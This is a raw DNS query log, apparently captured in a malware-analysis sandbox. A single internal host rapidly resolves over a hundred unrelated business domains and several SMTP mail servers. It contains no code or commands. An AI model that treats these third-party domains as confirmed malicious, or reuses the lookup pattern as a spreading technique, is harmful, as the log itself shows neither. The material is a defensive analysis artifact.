Mar 10, 2023 07:54:42.072809935 CET	192.168.2.6	8.8.8.8	0xbce5	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:42.084037066 CET	192.168.2.6	8.8.8.8	0xe2d2	Standard query (0)	www.findbc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:42.162729025 CET	192.168.2.6	8.8.8.8	0x2e71	Standard query (0)	www.mobilnic.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:42.460520983 CET	192.168.2.6	8.8.8.8	0xdcd9	Standard query (0)	www.cel-cpa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:42.465364933 CET	192.168.2.6	8.8.8.8	0x3388	Standard query (0)	www.crcsi.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:43.626678944 CET	192.168.2.6	8.8.8.8	0xcf1c	Standard query (0)	www.holleman.us	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:46.532322884 CET	192.168.2.6	8.8.8.8	0xf66a	Standard query (0)	www.c9dd.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:46.538249969 CET	192.168.2.6	8.8.8.8	0xa7d2	Standard query (0)	www.jchysk.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:46.539433956 CET	192.168.2.6	8.8.8.8	0xcb76	Standard query (0)	www.pupi.cz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:46.539572001 CET	192.168.2.6	8.8.8.8	0x48d	Standard query (0)	www.ora-ito.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:47.116689920 CET	192.168.2.6	8.8.8.8	0x30f0	Standard query (0)	www.nqks.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:47.183621883 CET	192.168.2.6	8.8.8.8	0x18e7	Standard query (0)	www.netcr.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:47.202034950 CET	192.168.2.6	8.8.8.8	0x402d	Standard query (0)	www.fe-bauer.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:47.204111099 CET	192.168.2.6	8.8.8.8	0xb438	Standard query (0)	www.domon.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:47.880608082 CET	192.168.2.6	8.8.8.8	0xa017	Standard query (0)	www.myropcb.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:47.880968094 CET	192.168.2.6	8.8.8.8	0xea7f	Standard query (0)	www.koz1.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:48.093194962 CET	192.168.2.6	8.8.8.8	0x178c	Standard query (0)	www.pwd.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:48.093465090 CET	192.168.2.6	8.8.8.8	0x4925	Standard query (0)	www.dayvo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:48.157207012 CET	192.168.2.6	8.8.8.8	0xd6e0	Standard query (0)	www.kernsafe.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:48.972970009 CET	192.168.2.6	8.8.8.8	0x1728	Standard query (0)	www.lrsuk.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:48.980557919 CET	192.168.2.6	8.8.8.8	0x2a58	Standard query (0)	www.stajum.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.223362923 CET	192.168.2.6	8.8.8.8	0x6c97	Standard query (0)	www.jenco.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.228657007 CET	192.168.2.6	8.8.8.8	0x80d	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.244136095 CET	192.168.2.6	8.8.8.8	0xd11	Standard query (0)	www.dgmna.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.249738932 CET	192.168.2.6	8.8.8.8	0x63b3	Standard query (0)	www.pdqhomes.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.259345055 CET	192.168.2.6	8.8.8.8	0xa73a	Standard query (0)	www.pr-park.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.261854887 CET	192.168.2.6	8.8.8.8	0xdef0	Standard query (0)	www.ftchat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.268717051 CET	192.168.2.6	8.8.8.8	0x6e6d	Standard query (0)	www.olras.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.279305935 CET	192.168.2.6	8.8.8.8	0x430a	Standard query (0)	www.quadlock.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.283001900 CET	192.168.2.6	8.8.8.8	0x39f5	Standard query (0)	www.wkhk.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.287772894 CET	192.168.2.6	8.8.8.8	0x8cff	Standard query (0)	www.baijaku.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.590528965 CET	192.168.2.6	8.8.8.8	0xdfa6	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.595143080 CET	192.168.2.6	8.8.8.8	0x1032	Standard query (0)	www.ex-olive.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.618937969 CET	192.168.2.6	8.8.8.8	0xc0ab	Standard query (0)	www.yoruksut.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:49.949709892 CET	192.168.2.6	8.8.8.8	0x2ee9	Standard query (0)	www.wnsavoy.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.076314926 CET	192.168.2.6	8.8.8.8	0x9137	Standard query (0)	www.rs-ag.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.077153921 CET	192.168.2.6	8.8.8.8	0xfa0e	Standard query (0)	www.mqs.com.br	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.088640928 CET	192.168.2.6	8.8.8.8	0xf4ac	Standard query (0)	www.alteor.cl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.155633926 CET	192.168.2.6	8.8.8.8	0xc28d	Standard query (0)	www.valdal.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.156183958 CET	192.168.2.6	8.8.8.8	0xbdc	Standard query (0)	www.item-pr.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.674010992 CET	192.168.2.6	8.8.8.8	0x1b03	Standard query (0)	www.depalo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.686199903 CET	192.168.2.6	8.8.8.8	0x57ab	Standard query (0)	www.vazir.se	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.722013950 CET	192.168.2.6	8.8.8.8	0xf4ac	Standard query (0)	www.credo.edu.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.724082947 CET	192.168.2.6	8.8.8.8	0x2d8c	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.733222961 CET	192.168.2.6	8.8.8.8	0xa8fb	Standard query (0)	www.petsfan.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:50.737694979 CET	192.168.2.6	8.8.8.8	0x729d	Standard query (0)	www.elpro.si	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:51.110269070 CET	192.168.2.6	8.8.8.8	0xa454	Standard query (0)	www.abart.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:51.157557011 CET	192.168.2.6	8.8.8.8	0x10cd	Standard query (0)	www.tvtools.fi	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:51.169135094 CET	192.168.2.6	8.8.8.8	0xb6e2	Standard query (0)	www.otena.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:51.169225931 CET	192.168.2.6	8.8.8.8	0x9fde	Standard query (0)	www.transsib.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:51.172718048 CET	192.168.2.6	8.8.8.8	0xdebc	Standard query (0)	www.iamdirt.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:52.016619921 CET	192.168.2.6	8.8.8.8	0xb6fe	Standard query (0)	www.ora.ecnet.jp	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:52.027856112 CET	192.168.2.6	8.8.8.8	0xcc73	Standard query (0)	www.evcpa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:52.033266068 CET	192.168.2.6	8.8.8.8	0xce55	Standard query (0)	www.t-tre.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:52.096785069 CET	192.168.2.6	8.8.8.8	0x7ee7	Standard query (0)	www.abdg.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:52.097327948 CET	192.168.2.6	8.8.8.8	0xed	Standard query (0)	www.naoi-a.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:52.100577116 CET	192.168.2.6	8.8.8.8	0x5698	Standard query (0)	www.wifi4all.nl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:52.101989985 CET	192.168.2.6	8.8.8.8	0xb072	Standard query (0)	www.hummer.hu	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:52.104206085 CET	192.168.2.6	8.8.8.8	0xf7fe	Standard query (0)	www.nelipak.nl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:52.732111931 CET	192.168.2.6	8.8.8.8	0x192b	Standard query (0)	www.xaicom.es	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:52.732862949 CET	192.168.2.6	8.8.8.8	0xdd30	Standard query (0)	www.fcwcvt.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:52.978470087 CET	192.168.2.6	8.8.8.8	0xdb37	Standard query (0)	www.cokocoko.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:52.980012894 CET	192.168.2.6	8.8.8.8	0x5fae	Standard query (0)	www.edimart.hu	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:52.980077982 CET	192.168.2.6	8.8.8.8	0x2337	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:52.986753941 CET	192.168.2.6	8.8.8.8	0x758	Standard query (0)	www.waldi.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:53.469501019 CET	192.168.2.6	8.8.8.8	0xb1ac	Standard query (0)	www.aevga.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:53.472805023 CET	192.168.2.6	8.8.8.8	0x70f3	Standard query (0)	www.gpthink.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:53.776205063 CET	192.168.2.6	8.8.8.8	0xe2d1	Standard query (0)	www.holleman.us	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:53.776824951 CET	192.168.2.6	8.8.8.8	0x93aa	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:53.779570103 CET	192.168.2.6	8.8.8.8	0x4126	Standard query (0)	www.pcgrate.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:53.784408092 CET	192.168.2.6	8.8.8.8	0xab74	Standard query (0)	www.snugpak.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:53.890980005 CET	192.168.2.6	8.8.8.8	0x69b6	Standard query (0)	www.jacomfg.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:54.148147106 CET	192.168.2.6	8.8.8.8	0x3b88	Standard query (0)	www.ottospm.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:54.278839111 CET	192.168.2.6	8.8.8.8	0x817f	Standard query (0)	www.kernsafe.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:54.401505947 CET	192.168.2.6	8.8.8.8	0x452d	Standard query (0)	www.netcr.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:54.403479099 CET	192.168.2.6	8.8.8.8	0xef10	Standard query (0)	www.photo4b.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:54.405518055 CET	192.168.2.6	8.8.8.8	0x35e0	Standard query (0)	www.speelhal.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:54.436193943 CET	192.168.2.6	8.8.8.8	0x4e84	Standard query (0)	www.stnic.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.075009108 CET	192.168.2.6	8.8.8.8	0x983f	Standard query (0)	www.findbc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.075750113 CET	192.168.2.6	8.8.8.8	0x17c9	Standard query (0)	www.crcsi.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.077222109 CET	192.168.2.6	8.8.8.8	0x7a3c	Standard query (0)	www.jchysk.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.171896935 CET	192.168.2.6	8.8.8.8	0x8e06	Standard query (0)	www.ex-olive.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.192749977 CET	192.168.2.6	8.8.8.8	0xb22c	Standard query (0)	www.fink.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.201132059 CET	192.168.2.6	8.8.8.8	0x557	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.311575890 CET	192.168.2.6	8.8.8.8	0xdd17	Standard query (0)	www.mobilnic.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.742285013 CET	192.168.2.6	8.8.8.8	0x1f85	Standard query (0)	www.railbook.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.937973022 CET	192.168.2.6	8.8.8.8	0x9dff	Standard query (0)	www.ora-ito.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.938527107 CET	192.168.2.6	8.8.8.8	0x3faf	Standard query (0)	www.lrsuk.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.940484047 CET	192.168.2.6	8.8.8.8	0xf34f	Standard query (0)	www.kernsafe.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.947565079 CET	192.168.2.6	8.8.8.8	0xb56	Standard query (0)	www.c9dd.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:56.744755030 CET	192.168.2.6	8.8.8.8	0xf56e	Standard query (0)	www.domon.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:56.745033979 CET	192.168.2.6	8.8.8.8	0x72ae	Standard query (0)	www.dayvo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:56.747283936 CET	192.168.2.6	8.8.8.8	0x7670	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:56.749212027 CET	192.168.2.6	8.8.8.8	0xa152	Standard query (0)	www.nqks.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:57.106106997 CET	192.168.2.6	8.8.8.8	0x7a88	Standard query (0)	www.medius.si	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:57.350326061 CET	192.168.2.6	8.8.8.8	0x86b0	Standard query (0)	www.stajum.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:57.435151100 CET	192.168.2.6	8.8.8.8	0xd7a1	Standard query (0)	www.pwd.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:57.464550018 CET	192.168.2.6	8.8.8.8	0x58df	Standard query (0)	www.ex-olive.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:57.474638939 CET	192.168.2.6	8.8.8.8	0x54d3	Standard query (0)	www.pupi.cz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:57.507889986 CET	192.168.2.6	8.8.8.8	0x133a	Standard query (0)	www.ka-mo-me.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:57.749114990 CET	192.168.2.6	8.8.8.8	0xa152	Standard query (0)	www.nqks.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:58.789458990 CET	192.168.2.6	8.8.8.8	0xa152	Standard query (0)	www.nqks.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:58.918140888 CET	192.168.2.6	8.8.8.8	0x7c4b	Standard query (0)	www.com-sit.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:59.269501925 CET	192.168.2.6	8.8.8.8	0x6145	Standard query (0)	www.myropcb.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:59.466079950 CET	192.168.2.6	8.8.8.8	0xcad5	Standard query (0)	www.reglera.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:00.400537968 CET	192.168.2.6	8.8.8.8	0xb27e	Standard query (0)	www.yoruksut.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:00.783056974 CET	192.168.2.6	8.8.8.8	0x66ce	Standard query (0)	www.wnsavoy.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:00.957206964 CET	192.168.2.6	8.8.8.8	0xf05	Standard query (0)	www.yocinc.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:02.356892109 CET	192.168.2.6	8.8.8.8	0x62be	Standard query (0)	www.fnsds.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:03.536736012 CET	192.168.2.6	8.8.8.8	0xade1	Standard query (0)	www.vitaindu.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:04.929378033 CET	192.168.2.6	8.8.8.8	0x4590	Standard query (0)	www.pohlfood.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:05.062412024 CET	192.168.2.6	8.8.8.8	0xa4ea	Standard query (0)	www.valselit.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:05.414983034 CET	192.168.2.6	8.8.8.8	0x8ead	Standard query (0)	www.2print.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:05.856892109 CET	192.168.2.6	8.8.8.8	0x49c7	Standard query (0)	www.x0c.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:06.074444056 CET	192.168.2.6	8.8.8.8	0x44a4	Standard query (0)	www.11tochi.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:06.316169024 CET	192.168.2.6	8.8.8.8	0x1d54	Standard query (0)	www.yumgiskor.kz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:07.080149889 CET	192.168.2.6	8.8.8.8	0x2d80	Standard query (0)	www.pb-games.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:08.151097059 CET	192.168.2.6	8.8.8.8	0x2b54	Standard query (0)	www.sclover3.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:10.554366112 CET	192.168.2.6	8.8.8.8	0xd15b	Standard query (0)	www.medius.si	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:10.737760067 CET	192.168.2.6	8.8.8.8	0x556d	Standard query (0)	www.tyrns.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:10.851604939 CET	192.168.2.6	8.8.8.8	0xcc5	Standard query (0)	www.ka-mo-me.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:11.022326946 CET	192.168.2.6	8.8.8.8	0x1e5f	Standard query (0)	www.ottospm.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:11.496028900 CET	192.168.2.6	8.8.8.8	0x4dc4	Standard query (0)	www.nunomira.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:11.538264990 CET	192.168.2.6	8.8.8.8	0x5626	Standard query (0)	www.spanesi.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:11.721106052 CET	192.168.2.6	8.8.8.8	0xb41	Standard query (0)	www.tc17.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:12.043211937 CET	192.168.2.6	8.8.8.8	0xc750	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:12.303894043 CET	192.168.2.6	8.8.8.8	0x7a0e	Standard query (0)	www.vexcom.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:12.327096939 CET	192.168.2.6	8.8.8.8	0xee3	Standard query (0)	www.com-sit.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:12.460463047 CET	192.168.2.6	8.8.8.8	0xb059	Standard query (0)	www.sjbs.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:12.645806074 CET	192.168.2.6	8.8.8.8	0x4d5c	Standard query (0)	www.railbook.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:12.997323990 CET	192.168.2.6	8.8.8.8	0xefc2	Standard query (0)	www.reglera.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:13.299143076 CET	192.168.2.6	8.8.8.8	0x602f	Standard query (0)	www.maktraxx.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:13.943088055 CET	192.168.2.6	8.8.8.8	0xb5d1	Standard query (0)	www.cel-cpa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:14.186249018 CET	192.168.2.6	8.8.8.8	0x7440	Standard query (0)	www.yocinc.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:14.637012005 CET	192.168.2.6	8.8.8.8	0x3875	Standard query (0)	mail.protonmail.ch	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:14.966522932 CET	192.168.2.6	8.8.8.8	0x4718	Standard query (0)	www.fe-bauer.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:14.996144056 CET	192.168.2.6	8.8.8.8	0xece9	Standard query (0)	www.vitaindu.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:15.303558111 CET	192.168.2.6	8.8.8.8	0xe017	Standard query (0)	www.koz1.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:15.838747978 CET	192.168.2.6	8.8.8.8	0xb65a	Standard query (0)	www.valselit.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:16.968349934 CET	192.168.2.6	8.8.8.8	0x4df2	Standard query (0)	www.tyrns.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:17.088449955 CET	192.168.2.6	8.8.8.8	0xff88	Standard query (0)	www.2print.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:17.552109003 CET	192.168.2.6	8.8.8.8	0xe8fe	Standard query (0)	www.x0c.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:17.926628113 CET	192.168.2.6	8.8.8.8	0x1390	Standard query (0)	www.spanesi.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:18.303371906 CET	192.168.2.6	8.8.8.8	0x6833	Standard query (0)	www.yumgiskor.kz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:18.484006882 CET	192.168.2.6	8.8.8.8	0x5ed3	Standard query (0)	www.tc17.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:18.526004076 CET	192.168.2.6	8.8.8.8	0xff8a	Standard query (0)	smtp.mail.yahoo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:18.661773920 CET	192.168.2.6	8.8.8.8	0x6de0	Standard query (0)	www.ottospm.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:18.671473980 CET	192.168.2.6	8.8.8.8	0x6dd9	Standard query (0)	www.tyrns.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:19.715902090 CET	192.168.2.6	8.8.8.8	0xf603	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:19.725966930 CET	192.168.2.6	8.8.8.8	0xc6fd	Standard query (0)	smtp.live.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:19.728018999 CET	192.168.2.6	8.8.8.8	0xf45d	Standard query (0)	www.ftchat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:19.728949070 CET	192.168.2.6	8.8.8.8	0x10ad	Standard query (0)	www.wkhk.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:19.934592009 CET	192.168.2.6	8.8.8.8	0x8a1e	Standard query (0)	www.spanesi.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:22.434993982 CET	192.168.2.6	8.8.8.8	0xf240	Standard query (0)	www.fnsds.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:24.837080956 CET	192.168.2.6	8.8.8.8	0xf6f6	Standard query (0)	mail.airmail.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:25.263120890 CET	192.168.2.6	8.8.8.8	0x74ec	Standard query (0)	www.pohlfood.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:25.689666033 CET	192.168.2.6	8.8.8.8	0x5ebe	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:26.377932072 CET	192.168.2.6	8.8.8.8	0x2166	Standard query (0)	www.railbook.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:26.383418083 CET	192.168.2.6	8.8.8.8	0x322e	Standard query (0)	www.tc17.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:26.728671074 CET	192.168.2.6	8.8.8.8	0x27ed	Standard query (0)	www.11tochi.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:27.315256119 CET	192.168.2.6	8.8.8.8	0xa129	Standard query (0)	mail.airmail.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:27.822340965 CET	192.168.2.6	8.8.8.8	0x7c67	Standard query (0)	www.pb-games.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:28.686135054 CET	192.168.2.6	8.8.8.8	0x47c8	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:28.911037922 CET	192.168.2.6	8.8.8.8	0x8241	Standard query (0)	www.sclover3.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:30.562216043 CET	192.168.2.6	8.8.8.8	0xbc54	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:30.615418911 CET	192.168.2.6	8.8.8.8	0xb0d3	Standard query (0)	mail.airmail.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:31.697659969 CET	192.168.2.6	8.8.8.8	0xe1dd	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:31.713474035 CET	192.168.2.6	8.8.8.8	0x2d3d	Standard query (0)	www.ftchat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:31.715620995 CET	192.168.2.6	8.8.8.8	0xe24	Standard query (0)	www.wkhk.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:32.933657885 CET	192.168.2.6	8.8.8.8	0x57a5	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:33.037338972 CET	192.168.2.6	8.8.8.8	0xd7e9	Standard query (0)	smtp.sbcglobal.yahoo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:33.382674932 CET	192.168.2.6	8.8.8.8	0x5ec1	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:34.335063934 CET	192.168.2.6	8.8.8.8	0xc67d	Standard query (0)	www.fnsds.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:35.404310942 CET	192.168.2.6	8.8.8.8	0x2d0f	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:35.405129910 CET	192.168.2.6	8.8.8.8	0x20f0	Standard query (0)	www.ex-olive.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:35.661623955 CET	192.168.2.6	8.8.8.8	0xb78b	Standard query (0)	www.koz1.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:35.973041058 CET	192.168.2.6	8.8.8.8	0xcfe2	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:36.284640074 CET	192.168.2.6	8.8.8.8	0xac1d	Standard query (0)	www.pohlfood.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:36.662256956 CET	192.168.2.6	8.8.8.8	0xd2c4	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:37.697599888 CET	192.168.2.6	8.8.8.8	0x55ed	Standard query (0)	www.wnsavoy.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.267230988 CET	192.168.2.6	8.8.8.8	0x22e3	Standard query (0)	www.11tochi.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.379288912 CET	192.168.2.6	8.8.8.8	0xd181	Standard query (0)	mail.airmail.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.664170980 CET	192.168.2.6	8.8.8.8	0x5d2c	Standard query (0)	vfcindia.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.664417028 CET	192.168.2.6	8.8.8.8	0x6fc	Standard query (0)	wantapc.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.664582968 CET	192.168.2.6	8.8.8.8	0x1bc2	Standard query (0)	avc.com.sa	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.664921999 CET	192.168.2.6	8.8.8.8	0xfda2	Standard query (0)	themark.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.669197083 CET	192.168.2.6	8.8.8.8	0xc175	Standard query (0)	dyag-eng.com	A (IP address)	IN (0x0001)	false
